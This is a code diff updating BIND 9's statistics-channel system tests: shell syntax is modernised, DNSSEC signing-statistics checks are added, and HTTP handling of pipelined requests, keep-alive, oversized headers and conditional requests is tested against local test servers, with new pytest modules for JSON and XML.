+    file=$($PERL fetch.pl -p ${EXTRAPORT1} xml/v3/mem)
     mv $file xml.mem
     $PERL mem-xml.pl $file > xml.fmtmem
-    grep "'Malloced' => '[0-9][0-9]*'" xml.fmtmem > /dev/null || ret=1
-    grep "'malloced' => '[0-9][0-9]*'" xml.fmtmem > /dev/null || ret=1
-    grep "'maxmalloced' => '[0-9][0-9]*'" xml.fmtmem > /dev/null || ret=1
+    grep "'InUse' => '[0-9][0-9]*'" xml.fmtmem > /dev/null || ret=1
+    grep "'inuse' => '[0-9][0-9]*'" xml.fmtmem > /dev/null || ret=1
 fi
 if [ $PERL_JSON ]; then
-    file=`$PERL fetch.pl -p ${EXTRAPORT1} json/v1/mem`
+    file=$($PERL fetch.pl -p ${EXTRAPORT1} json/v1/mem)
     mv $file json.mem
-    grep '"malloced":[0-9][0-9]*,' json.mem > /dev/null || ret=1
-    grep '"maxmalloced":[0-9][0-9]*,' json.mem > /dev/null || ret=1
-    grep '"Malloced":[0-9][0-9]*,' json.mem > /dev/null || ret=1
+    grep '"inuse":[0-9][0-9]*,' json.mem > /dev/null || ret=1
+    grep '"InUse":[0-9][0-9]*,' json.mem > /dev/null || ret=1
 fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 echo_i "checking consistency between regular and compressed output ($n)"
-for i in 1 2 3 4 5; do
-	ret=0
-	if [ "$HAVEXMLSTATS" ];
-	then
-		URL=http://10.53.0.2:${EXTRAPORT1}/xml/v3/server
-		filter_str='s#<current-time>.*</current-time>##g'
-	else
-		URL=http://10.53.0.2:${EXTRAPORT1}/json/v1/server
-		filter_str='s#"current-time.*",##g'
-	fi
-	$CURL -D regular.headers $URL 2>/dev/null | \
-		sed -e "$filter_str" > regular.out
-	$CURL -D compressed.headers --compressed $URL 2>/dev/null | \
-		sed -e "$filter_str" > compressed.out
-	diff regular.out compressed.out >/dev/null || ret=1
-	if [ $ret != 0 ]; then
-		echo_i "failed on try $i, probably a timing issue, trying again"
-		sleep 1
-	else
-		break
-	fi
-done
-
-status=`expr $status + $ret`
-n=`expr $n + 1`
+ret=0
+if [ -x "${CURL}" ] ; then
+    for i in 1 2 3 4 5; do
+        ret=0
+        if $FEATURETEST --have-libxml2;
+        then
+            URL="http://10.53.0.2:${EXTRAPORT1}/xml/v3/server"
+            filter_str='s#<current-time>.*</current-time>##g'
+        else
+            URL="http://10.53.0.2:${EXTRAPORT1}/json/v1/server"
+            filter_str='s#"current-time.*",##g'
+        fi
+        "${CURL}" -D regular.headers "$URL" 2>/dev/null | \
+            sed -e "$filter_str" > regular.out || ret=1
+        "${CURL}" -D compressed.headers --compressed "$URL" 2>/dev/null | \
+            sed -e "$filter_str" > compressed.out || ret=1
+        diff regular.out compressed.out >/dev/null || ret=1
+        if [ $ret != 0 ]; then
+            echo_i "failed on try $i, probably a timing issue, trying again"
+            sleep 1
+        else
+            break
+        fi
+    done
+else
+    echo_i "skipping test as curl not found"
+fi
+status=$((status + ret))
+n=$((n + 1))
 
 ret=0
 echo_i "checking if compressed output is really compressed ($n)"
-if [ "$HAVEZLIB" ];
+if $FEATURETEST --with-zlib;
 then
-    REGSIZE=`cat regular.headers | \
-	grep -i Content-Length | sed -e "s/.*: \([0-9]*\).*/\1/"`
-    COMPSIZE=`cat compressed.headers | \
-	grep -i Content-Length | sed -e "s/.*: \([0-9]*\).*/\1/"`
-    if [ ! `expr $REGSIZE / $COMPSIZE` -gt 2 ]; then
-	ret=1
+    REGSIZE=$(cat regular.headers | \
+        grep -i Content-Length | sed -e "s/.*: \([0-9]*\).*/\1/")
+    COMPSIZE=$(cat compressed.headers | \
+        grep -i Content-Length | sed -e "s/.*: \([0-9]*\).*/\1/")
+    if [ ! $((REGSIZE / COMPSIZE)) -gt 2 ]; then
+        ret=1
     fi
 else
     echo_i "skipped"
 fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 # Test dnssec sign statistics.
 zone="dnssec"
 sign_prefix="dnssec-sign operations"
 refresh_prefix="dnssec-refresh operations"
-ksk_id=`cat ns2/$zone.ksk.id`
-zsk_id=`cat ns2/$zone.zsk.id`
+ksk_id=$(cat ns2/$zone.ksk.id)
+zsk_id=$(cat ns2/$zone.zsk.id)
 
-# 1. Test sign operations for scheduled resigning.
+# Test sign operations for scheduled resigning.
 ret=0
 # The dnssec zone has 10 RRsets to sign (including NSEC) with the ZSK and one
 # RRset (DNSKEY) with the KSK. So starting named with signatures that expire
 # almost right away, this should trigger 10 zsk and 1 ksk sign operations.
-# However, the DNSSEC maintenance assumes when we see the SOA record we have
-# walked the whole zone, since the SOA record should always have the most
-# recent signature.
 echo "${refresh_prefix} ${zsk_id}: 10" > zones.expect
 echo "${refresh_prefix} ${ksk_id}: 1" >> zones.expect
 echo "${sign_prefix} ${zsk_id}: 10" >> zones.expect
@@ -199,20 +271,20 @@ echo "${sign_prefix} ${ksk_id}: 1" >> zones.expect
 cat zones.expect | sort > zones.expect.$n
 rm -f zones.expect
 # Fetch and check the dnssec sign statistics.
-echo_i "fetching zone stats data after zone maintenance at startup ($n)"
+echo_i "fetching zone '$zone' stats data after zone maintenance at startup ($n)"
 if [ $PERL_XML ]; then
     getzones xml $zone x$n || ret=1
     cmp zones.out.x$n zones.expect.$n || ret=1
 fi
 if [ $PERL_JSON ]; then
-    getzones json $zone j$n || ret=1
+    getzones json 0 j$n || ret=1
     cmp zones.out.j$n zones.expect.$n || ret=1
 fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
-# 2. Test sign operations after dynamic update.
+# Test sign operations after dynamic update.
 ret=0
 (
 # Update dnssec zone to trigger signature creation.
@@ -229,29 +301,34 @@ echo "${sign_prefix} ${ksk_id}: 1" >> zones.expect
 cat zones.expect | sort > zones.expect.$n
 rm -f zones.expect
 # Fetch and check the dnssec sign statistics.
-echo_i "fetching zone stats data after dynamic update ($n)"
+echo_i "fetching zone '$zone' stats data after dynamic update ($n)"
 if [ $PERL_XML ]; then
     getzones xml $zone x$n || ret=1
     cmp zones.out.x$n zones.expect.$n || ret=1
 fi
 if [ $PERL_JSON ]; then
-    getzones json $zone j$n || ret=1
+    getzones json 0 j$n || ret=1
     cmp zones.out.j$n zones.expect.$n || ret=1
 fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
-# 3. Test sign operations of KSK.
+# Test sign operations of KSK.
 ret=0
-echo_i "fetch zone stats data after updating DNSKEY RRset ($n)"
-# Add a standby DNSKEY, this triggers resigning the DNSKEY RRset.
-zsk=$("$KEYGEN" -K ns2 -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" "$zone")
-$SETTIME -K ns2 -P now -A never $zsk.key > /dev/null
-loadkeys_on 2 $zone || ret=1
+echo_i "fetch zone '$zone' stats data after updating DNSKEY RRset ($n)"
+id=$(echo "${zsk_id}" | cut -d+ -f2 -)
+# Add a DNSKEY, this triggers resigning the DNSKEY RRset.
+zsk=$("$KEYGEN" -L 3600 -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" "$zone")
+(
+echo zone $zone
+echo server 10.53.0.2 "$PORT"
+echo update add $(cat "${zsk}.key" | grep -v ";.*")
+echo send
+) | $NSUPDATE
 # This should trigger the resign of SOA (+1 zsk) and DNSKEY (+1 ksk).
-echo "${refresh_prefix} ${zsk_id}: 11" > zones.expect
-echo "${refresh_prefix} ${ksk_id}: 2" >> zones.expect
+echo "${refresh_prefix} ${zsk_id}: 10" > zones.expect
+echo "${refresh_prefix} ${ksk_id}: 1" >> zones.expect
 echo "${sign_prefix} ${zsk_id}: 14" >> zones.expect
 echo "${sign_prefix} ${ksk_id}: 2" >> zones.expect
 cat zones.expect | sort > zones.expect.$n
@@ -262,16 +339,321 @@ if [ $PERL_XML ]; then
     cmp zones.out.x$n zones.expect.$n || ret=1
 fi
 if [ $PERL_JSON ]; then
-    getzones json $zone j$n || ret=1
+    getzones json 0 j$n || ret=1
+    cmp zones.out.j$n zones.expect.$n || ret=1
+fi
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+n=$((n + 1))
+
+# Test sign operations for scheduled resigning (many keys).
+ret=0
+zone="manykeys"
+ksk8_id=$(cat ns2/$zone.ksk8.id)
+zsk8_id=$(cat ns2/$zone.zsk8.id)
+ksk13_id=$(cat ns2/$zone.ksk13.id)
+zsk13_id=$(cat ns2/$zone.zsk13.id)
+ksk14_id=$(cat ns2/$zone.ksk14.id)
+zsk14_id=$(cat ns2/$zone.zsk14.id)
+# The dnssec zone has 10 RRsets to sign (including NSEC) with the ZSKs and one
+# RRset (DNSKEY) with the KSKs. So starting named with signatures that expire
+# almost right away, this should trigger 10 zsk and 1 ksk sign operations per
+# key.
+echo "${refresh_prefix} ${zsk8_id}: 10" > zones.expect
+echo "${refresh_prefix} ${zsk13_id}: 10" >> zones.expect
+echo "${refresh_prefix} ${zsk14_id}: 10" >> zones.expect
+echo "${refresh_prefix} ${ksk8_id}: 1" >> zones.expect
+echo "${refresh_prefix} ${ksk13_id}: 1" >> zones.expect
+echo "${refresh_prefix} ${ksk14_id}: 1" >> zones.expect
+echo "${sign_prefix} ${zsk8_id}: 10" >> zones.expect
+echo "${sign_prefix} ${zsk13_id}: 10" >> zones.expect
+echo "${sign_prefix} ${zsk14_id}: 10" >> zones.expect
+echo "${sign_prefix} ${ksk8_id}: 1" >> zones.expect
+echo "${sign_prefix} ${ksk13_id}: 1" >> zones.expect
+echo "${sign_prefix} ${ksk14_id}: 1" >> zones.expect
+cat zones.expect | sort > zones.expect.$n
+rm -f zones.expect
+# Fetch and check the dnssec sign statistics.
+echo_i "fetching zone '$zone' stats data after zone maintenance at startup ($n)"
+if [ $PERL_XML ]; then
+    getzones xml $zone x$n || ret=1
+    cmp zones.out.x$n zones.expect.$n || ret=1
+fi
+if [ $PERL_JSON ]; then
+    getzones json 2 j$n || ret=1
+    cmp zones.out.j$n zones.expect.$n || ret=1
+fi
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+n=$((n + 1))
+
+# Test sign operations after dynamic update (many keys).
+ret=0
+(
+# Update dnssec zone to trigger signature creation.
+echo zone $zone
+echo server 10.53.0.2 "$PORT"
+echo update add $zone. 300 in txt "nsupdate added me"
+echo send
+) | $NSUPDATE
+# This should trigger the resign of SOA, TXT and NSEC (+3 zsk).
+echo "${refresh_prefix} ${zsk8_id}: 10" > zones.expect
+echo "${refresh_prefix} ${zsk13_id}: 10" >> zones.expect
+echo "${refresh_prefix} ${zsk14_id}: 10" >> zones.expect
+echo "${refresh_prefix} ${ksk8_id}: 1" >> zones.expect
+echo "${refresh_prefix} ${ksk13_id}: 1" >> zones.expect
+echo "${refresh_prefix} ${ksk14_id}: 1" >> zones.expect
+echo "${sign_prefix} ${zsk8_id}: 13" >> zones.expect
+echo "${sign_prefix} ${zsk13_id}: 13" >> zones.expect
+echo "${sign_prefix} ${zsk14_id}: 13" >> zones.expect
+echo "${sign_prefix} ${ksk8_id}: 1" >> zones.expect
+echo "${sign_prefix} ${ksk13_id}: 1" >> zones.expect
+echo "${sign_prefix} ${ksk14_id}: 1" >> zones.expect
+cat zones.expect | sort > zones.expect.$n
+rm -f zones.expect
+# Fetch and check the dnssec sign statistics.
+echo_i "fetching zone '$zone' stats data after dynamic update ($n)"
+if [ $PERL_XML ]; then
+    getzones xml $zone x$n || ret=1
+    cmp zones.out.x$n zones.expect.$n || ret=1
+fi
+if [ $PERL_JSON ]; then
+    getzones json 2 j$n || ret=1
     cmp zones.out.j$n zones.expect.$n || ret=1
 fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
+
+# Test sign operations after dnssec-policy change (removing keys).
+ret=0
+copy_setports ns2/named2.conf.in ns2/named.conf
+$RNDCCMD 10.53.0.2 reload 2>&1 | sed 's/^/I:ns2 /'
+# This should trigger the resign of DNSKEY (+1 ksk), and SOA, NSEC,
+# TYPE65534 (+3 zsk). The dnssec-sign statistics for the removed keys should
+# be cleared and thus no longer visible. But NSEC and SOA are (mistakenly)
+# counted double, one time because of zone_resigninc and one time because of
+# zone_nsec3chain. So +5 zsk in total.
+echo "${refresh_prefix} ${zsk8_id}: 15" > zones.expect
+echo "${refresh_prefix} ${ksk8_id}: 2" >> zones.expect
+echo "${sign_prefix} ${zsk8_id}: 18" >> zones.expect
+echo "${sign_prefix} ${ksk8_id}: 2" >> zones.expect
+cat zones.expect | sort > zones.expect.$n
+rm -f zones.expect
+# Fetch and check the dnssec sign statistics.
+echo_i "fetching zone '$zone' stats data after dnssec-policy change ($n)"
+if [ $PERL_XML ]; then
+    getzones xml $zone x$n || ret=1
+    cmp zones.out.x$n zones.expect.$n || ret=1
+fi
+if [ $PERL_JSON ]; then
+    getzones json 2 j$n || ret=1
+    cmp zones.out.j$n zones.expect.$n || ret=1
+fi
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+n=$((n + 1))
+
+echo_i "Check HTTP/1.1 client-side pipelined requests are handled (GET) ($n)"
+ret=0
+if [ -x "${NC}" ] ; then
+    "${NC}" 10.53.0.3 "${EXTRAPORT1}" << EOF > nc.out$n || ret=1
+GET /xml/v3/status HTTP/1.1
+Host: 10.53.0.3:${EXTRAPORT1}
+
+GET /xml/v3/status HTTP/1.1
+Host: 10.53.0.3:${EXTRAPORT1}
+Connection: close
+
+EOF
+    lines=$(grep -c "^<statistics version" nc.out$n)
+    test "$lines" = 2 || ret=1
+    # keep-alive not needed in HTTP/1.1, second response has close
+    lines=$(grep -c "^Connection: Keep-Alive" nc.out$n || true)
+    test "$lines" = 0 || ret=1
+    lines=$(grep -c "^Connection: close" nc.out$n)
+    test "$lines" = 1 || ret=1
+else
+    echo_i "skipping test as nc not found"
+fi
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+n=$((n + 1))
+
+echo_i "Check HTTP/1.1 client-side pipelined requests are handled (POST) ($n)"
+ret=0
+if [ -x "${NC}" ]; then
+    "${NC}" 10.53.0.3 "${EXTRAPORT1}" << EOF > nc.out$n || ret=1
+POST /xml/v3/status HTTP/1.1
+Host: 10.53.0.3:${EXTRAPORT1}
+Content-Type: application/json
+Content-Length: 3
+
+{}
+POST /xml/v3/status HTTP/1.1
+Host: 10.53.0.3:${EXTRAPORT1}
+Content-Type: application/json
+Content-Length: 3
+Connection: close
+
+{}
+EOF
+    lines=$(grep -c "^<statistics version" nc.out$n)
+    test "$lines" = 2 || ret=1
+    # keep-alive not needed in HTTP/1.1, second response has close
+    lines=$(grep -c "^Connection: Keep-Alive" nc.out$n || true)
+    test "$lines" = 0 || ret=1
+    lines=$(grep -c "^Connection: close" nc.out$n)
+    test "$lines" = 1 || ret=1
+else
+    echo_i "skipping test as nc not found"
+fi
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+n=$((n + 1))
+
+echo_i "Check HTTP/1.0 keep-alive ($n)"
+ret=0
+if [ -x "${NC}" ]; then
+    "${NC}" 10.53.0.3 "${EXTRAPORT1}" << EOF > nc.out$n || ret=1
+GET /xml/v3/status HTTP/1.0
+Connection: keep-alive
+
+GET /xml/v3/status HTTP/1.0
+
+EOF
+    # should be two responses
+    lines=$(grep -c "^<statistics version" nc.out$n)
+    test "$lines" = 2 || ret=1
+    # first response has keep-alive, second has close
+    lines=$(grep -c "^Connection: Keep-Alive" nc.out$n || true)
+    test "$lines" = 1 || ret=1
+    lines=$(grep -c "^Connection: close" nc.out$n)
+    test "$lines" = 1 || ret=1
+else
+    echo_i "skipping test as nc not found"
+fi
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+n=$((n + 1))
+
+echo_i "Check inconsistent Connection: headers ($n)"
+ret=0
+if [ -x "${NC}" ]; then
+    "${NC}" 10.53.0.3 "${EXTRAPORT1}" << EOF > nc.out$n || ret=1
+GET /xml/v3/status HTTP/1.0
+Connection: keep-alive
+Connection: close
+
+GET /xml/v3/status HTTP/1.0
+
+EOF
+    # should be one response (second is ignored)
+    lines=$(grep -c "^<statistics version" nc.out$n)
+    test "$lines" = 1 || ret=1
+    # no keep-alive, one close
+    lines=$(grep -c "^Connection: Keep-Alive" nc.out$n || true)
+    test "$lines" = 0 || ret=1
+    lines=$(grep -c "^Connection: close" nc.out$n)
+    test "$lines" = 1 || ret=1
+else
+    echo_i "skipping test as nc not found"
+fi
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+n=$((n + 1))
+
+if [ -x "${CURL}" ] && ! ("${CURL}" --next 2>&1 | grep 'option --next: is unknown'); then
+    CURL_NEXT="${CURL}"
+fi
 
+echo_i "Check HTTP with more than 100 headers ($n)"
+ret=0
+i=0
+if [ -x "${CURL_NEXT}" ] ; then
+    # build input stream.
+    : > header.in$n
+    while test $i -lt 101
+    do
+        printf 'X-Bloat%d: VGhlIG1vc3QgY29tbW9uIHJlYXNvbiBmb3IgYmxvYXRpbmcgaXMgaGF2aW5nIGEgbG90IG9mIGdhcyBpbiB5b3VyIGd1dC4gCg==\r\n' $i >> header.in$n
+        i=$((i+1))
+    done
+    printf '\r\n' >> header.in$n
+
+    # send the requests then wait for named to close the socket.
+    URL="http://10.53.0.3:${EXTRAPORT1}/xml/v3/status"
+    "${CURL}" --silent --include --get "$URL" --next --get --header @header.in$n "$URL" > curl.out$n && ret=1
+    # we expect 1 request to be processed.
+    lines=$(grep -c "^<statistics version" curl.out$n)
+    test "$lines" = 1 || ret=1
+else
+    echo_i "skipping test as curl with --next support not found"
+fi
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+n=$((n + 1))
+
+echo_i "Check HTTP/1.1 keep-alive with truncated stream ($n)"
+ret=0
+i=0
+if [ -x "${CURL_NEXT}" ] ; then
+    # build input stream.
+    printf 'X-Bloat: ' > header.in$n
+    while test $i -lt 5000
+    do
+        printf '%s' "VGhlIG1vc3QgY29tbW9uIHJlYXNvbiBmb3IgYmxvYXRpbmcgaXMgaGF2aW5nIGEgbG90IG9mIGdhcyBpbiB5b3VyIGd1dC4gCg==" >> header.in$n
+        i=$((i+1))
+    done
+    printf '\r\n' >> header.in$n
+
+    # send the requests then wait for named to close the socket.
+    URL="http://10.53.0.3:${EXTRAPORT1}/xml/v3/status"
+    "${CURL}" --silent --include --get "$URL" --next --get --header @header.in$n "$URL" > curl.out$n && ret=1
+    # we expect 1 request to be processed.
+    lines=$(grep -c "^<statistics version" curl.out$n)
+    test "$lines" = 1 || ret=1
+else
+    echo_i "skipping test as curl with --next support not found"
+fi
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+n=$((n + 1))
+
+echo_i "Check that consequtive responses do not grow excessively ($n)"
+ret=0
+i=0
+if [ -x "${CURL}" ] ; then
+    URL="http://10.53.0.3:${EXTRAPORT1}/json/v1"
+    "${CURL}" --silent --include --header "Accept-Encoding: deflate, gzip, br, zstd" "$URL" "$URL" "$URL" "$URL" "$URL" "$URL" "$URL" "$URL" "$URL" "$URL" > curl.out$n || ret=1
+    grep -a Content-Length curl.out$n | awk 'BEGIN { prev=0; } { if (prev != 0 && $2 - prev > 100) { exit(1); } prev = $2; }' || ret=1
+else
+    echo_i "skipping test as curl not found"
+fi
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+n=$((n + 1))
+
+echo_i "Check if-modified-since works ($n)"
+ret=0
+if $FEATURETEST --have-libxml2 && [ -x "${CURL}" ] ; then
+    URL="http://10.53.0.3:${EXTRAPORT1}/bind9.xsl"
+    # ensure over-long time stamps are ignored
+    ${CURL} --silent --show-error --fail --output bind9.xsl.2 $URL \
+	    --header 'If-Modified-Since: 0123456789 0123456789 0123456789 0123456789 0123456789 0123456789'
+    if  ! [ bind9.xsl.2 -nt bind9.xsl.1 ] ||
+        ! ${CURL} --silent --show-error --fail \
+		  --output bind9.xsl.3 $URL \
+		  --time-cond bind9.xsl.1 ||
+	[ -f bind9.xsl.3 ]
+    then
+	   ret=1
+    fi
+else
+    echo_i "skipping test: requires libxml2 and curl"
+fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/statschannel/tests_json.py b/bin/tests/system/statschannel/tests_json.py
new file mode 100755
index 0000000000..c4599258ea
--- /dev/null
+++ b/bin/tests/system/statschannel/tests_json.py
@@ -0,0 +1,105 @@
+#!/usr/bin/python3
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+from datetime import datetime
+
+import pytest
+
+import generic
+import pytest_custom_markers
+
+pytestmark = pytest_custom_markers.have_json_c
+requests = pytest.importorskip("requests")
+
+
+# JSON helper functions
+def fetch_zones_json(statsip, statsport):
+    r = requests.get(
+        "http://{}:{}/json/v1/zones".format(statsip, statsport), timeout=600
+    )
+    assert r.status_code == 200
+
+    data = r.json()
+    return data["views"]["_default"]["zones"]
+
+
+def fetch_traffic_json(statsip, statsport):
+    r = requests.get(
+        "http://{}:{}/json/v1/traffic".format(statsip, statsport), timeout=600
+    )
+    assert r.status_code == 200
+
+    data = r.json()
+
+    return data["traffic"]
+
+
+def load_timers_json(zone, primary=True):
+    name = zone["name"]
+
+    # Check if the primary zone timer exists
+    assert "loaded" in zone
+    loaded = datetime.strptime(zone["loaded"], generic.fmt)
+
+    if primary:
+        # Check if the secondary zone timers does not exist
+        assert "expires" not in zone
+        assert "refresh" not in zone
+        expires = None
+        refresh = None
+    else:
+        assert "expires" in zone
+        assert "refresh" in zone
+        expires = datetime.strptime(zone["expires"], generic.fmt)
+        refresh = datetime.strptime(zone["refresh"], generic.fmt)
+
+    return (name, loaded, expires, refresh)
+
+
+def load_zone_json(zone):
+    name = zone["name"]
+
+    return name
+
+
+def test_zone_timers_primary_json(statsport):
+    generic.test_zone_timers_primary(
+        fetch_zones_json,
+        load_timers_json,
+        statsip="10.53.0.1",
+        statsport=statsport,
+        zonedir="ns1",
+    )
+
+
+def test_zone_timers_secondary_json(statsport):
+    generic.test_zone_timers_secondary(
+        fetch_zones_json,
+        load_timers_json,
+        statsip="10.53.0.3",
+        statsport=statsport,
+        zonedir="ns3",
+    )
+
+
+def test_zone_with_many_keys_json(statsport):
+    generic.test_zone_with_many_keys(
+        fetch_zones_json, load_zone_json, statsip="10.53.0.2", statsport=statsport
+    )
+
+
+def test_traffic_json(named_port, statsport):
+    generic_dnspython = pytest.importorskip("generic_dnspython")
+    generic_dnspython.test_traffic(
+        fetch_traffic_json, statsip="10.53.0.2", statsport=statsport, port=named_port
+    )
diff --git a/bin/tests/system/statschannel/tests_sh_statschannel.py b/bin/tests/system/statschannel/tests_sh_statschannel.py
new file mode 100644
index 0000000000..85d5d14acf
--- /dev/null
+++ b/bin/tests/system/statschannel/tests_sh_statschannel.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_statschannel(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/statschannel/tests_xml.py b/bin/tests/system/statschannel/tests_xml.py
new file mode 100755
index 0000000000..7f0b37e846
--- /dev/null
+++ b/bin/tests/system/statschannel/tests_xml.py
@@ -0,0 +1,135 @@
+#!/usr/bin/python3
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+from datetime import datetime
+import xml.etree.ElementTree as ET
+
+import pytest
+
+import generic
+import pytest_custom_markers
+
+pytestmark = pytest_custom_markers.have_libxml2
+requests = pytest.importorskip("requests")
+
+
+# XML helper functions
+def fetch_zones_xml(statsip, statsport):
+    r = requests.get(
+        "http://{}:{}/xml/v3/zones".format(statsip, statsport), timeout=600
+    )
+    assert r.status_code == 200
+
+    root = ET.fromstring(r.text)
+
+    default_view = None
+    for view in root.find("views").iter("view"):
+        if view.attrib["name"] == "_default":
+            default_view = view
+            break
+    assert default_view is not None
+
+    return default_view.find("zones").findall("zone")
+
+
+def fetch_traffic_xml(statsip, statsport):
+    def load_counters(data):
+        out = {}
+        for counter in data.findall("counter"):
+            out[counter.attrib["name"]] = int(counter.text)
+
+        return out
+
+    r = requests.get(
+        "http://{}:{}/xml/v3/traffic".format(statsip, statsport), timeout=600
+    )
+    assert r.status_code == 200
+
+    root = ET.fromstring(r.text)
+
+    traffic = {}
+    for ip in ["ipv4", "ipv6"]:
+        for proto in ["udp", "tcp"]:
+            proto_root = root.find("traffic").find(ip).find(proto)
+            for counters in proto_root.findall("counters"):
+                if counters.attrib["type"] == "request-size":
+                    key = "dns-{}-requests-sizes-received-{}".format(proto, ip)
+                else:
+                    key = "dns-{}-responses-sizes-sent-{}".format(proto, ip)
+
+                values = load_counters(counters)
+                traffic[key] = values
+
+    return traffic
+
+
+def load_timers_xml(zone, primary=True):
+    name = zone.attrib["name"]
+
+    loaded_el = zone.find("loaded")
+    assert loaded_el is not None
+    loaded = datetime.strptime(loaded_el.text, generic.fmt)
+
+    expires_el = zone.find("expires")
+    refresh_el = zone.find("refresh")
+    if primary:
+        assert expires_el is None
+        assert refresh_el is None
+        expires = None
+        refresh = None
+    else:
+        assert expires_el is not None
+        assert refresh_el is not None
+        expires = datetime.strptime(expires_el.text, generic.fmt)
+        refresh = datetime.strptime(refresh_el.text, generic.fmt)
+
+    return (name, loaded, expires, refresh)
+
+
+def load_zone_xml(zone):
+    name = zone.attrib["name"]
+
+    return name
+
+
+def test_zone_timers_primary_xml(statsport):
+    generic.test_zone_timers_primary(
+        fetch_zones_xml,
+        load_timers_xml,
+        statsip="10.53.0.1",
+        statsport=statsport,
+        zonedir="ns1",
+    )
+
+
+def test_zone_timers_secondary_xml(statsport):
+    generic.test_zone_timers_secondary(
+        fetch_zones_xml,
+        load_timers_xml,
+        statsip="10.53.0.3",
+        statsport=statsport,
+        zonedir="ns3",
+    )
+
+
+def test_zone_with_many_keys_xml(statsport):
+    generic.test_zone_with_many_keys(
+        fetch_zones_xml, load_zone_xml, statsip="10.53.0.2", statsport=statsport
+    )
+
+
+def test_traffic_xml(named_port, statsport):
+    generic_dnspython = pytest.importorskip("generic_dnspython")
+    generic_dnspython.test_traffic(
+        fetch_traffic_xml, statsip="10.53.0.2", statsport=statsport, port=named_port
+    )
diff --git a/bin/tests/system/statschannel/traffic-json.pl b/bin/tests/system/statschannel/traffic-json.pl
index e90308179b..353d6c761f 100644
--- a/bin/tests/system/statschannel/traffic-json.pl
+++ b/bin/tests/system/statschannel/traffic-json.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/statschannel/traffic-xml.pl b/bin/tests/system/statschannel/traffic-xml.pl
index f659933fdf..5552cc5be9 100644
--- a/bin/tests/system/statschannel/traffic-xml.pl
+++ b/bin/tests/system/statschannel/traffic-xml.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/statschannel/zones-json.pl b/bin/tests/system/statschannel/zones-json.pl
index 9ccaf0eaf8..9eec9db4ef 100644
--- a/bin/tests/system/statschannel/zones-json.pl
+++ b/bin/tests/system/statschannel/zones-json.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
